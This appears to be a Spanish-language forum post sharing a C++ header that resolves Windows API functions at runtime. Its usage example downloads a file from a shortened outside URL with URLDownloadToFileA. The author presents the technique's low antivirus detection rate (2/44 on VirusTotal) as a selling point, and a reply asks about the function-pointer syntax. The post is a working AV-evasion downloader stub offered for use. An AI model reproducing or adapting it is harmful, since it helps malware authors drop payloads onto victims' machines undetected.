using namespace std;
#include <Windows.h>
#include <string>
class API{
public:
void* (*call)(...);
API(string dll, string fnc){
this->call = (void *(*)(...))GetProcAddress(LoadLibraryA(dll.c_str()), fnc.c_str());
};
};
Ejemplo de uso:
#pragma comment(linker, "/ENTRY:main")
#include "invoke.h"
void main(){
API("URLMON", "URLDownloadToFileA").call(0, "http://goo.gl/veps2", "C:/test.png", 0, 0);
__asm sub esp, 5*4
API("KERNEL32","ExitProcess").call(0);
//__asm sub esp, 4
}
Detección: 2/44
https://www.virustotal.com/file/818f70e5b5c1d7b870b24471ef368738a1f146ebdae197e79baa150f255ddcb0/analysis/1351018307/
Mucho más compacto a lA hora de llamar al puntero que mis otras versiones, aunque hay que reparar de forma manual el stack hasta que diseñe un template para hacerlo.
No entiendo esto:
void* (*call)(...);
API(string dll, string fnc){
this->call = (void *(*)(...))GetProcAddress(LoadLibraryA(dll.c_str()), fnc.c_str());
};
el void* (*call) (...);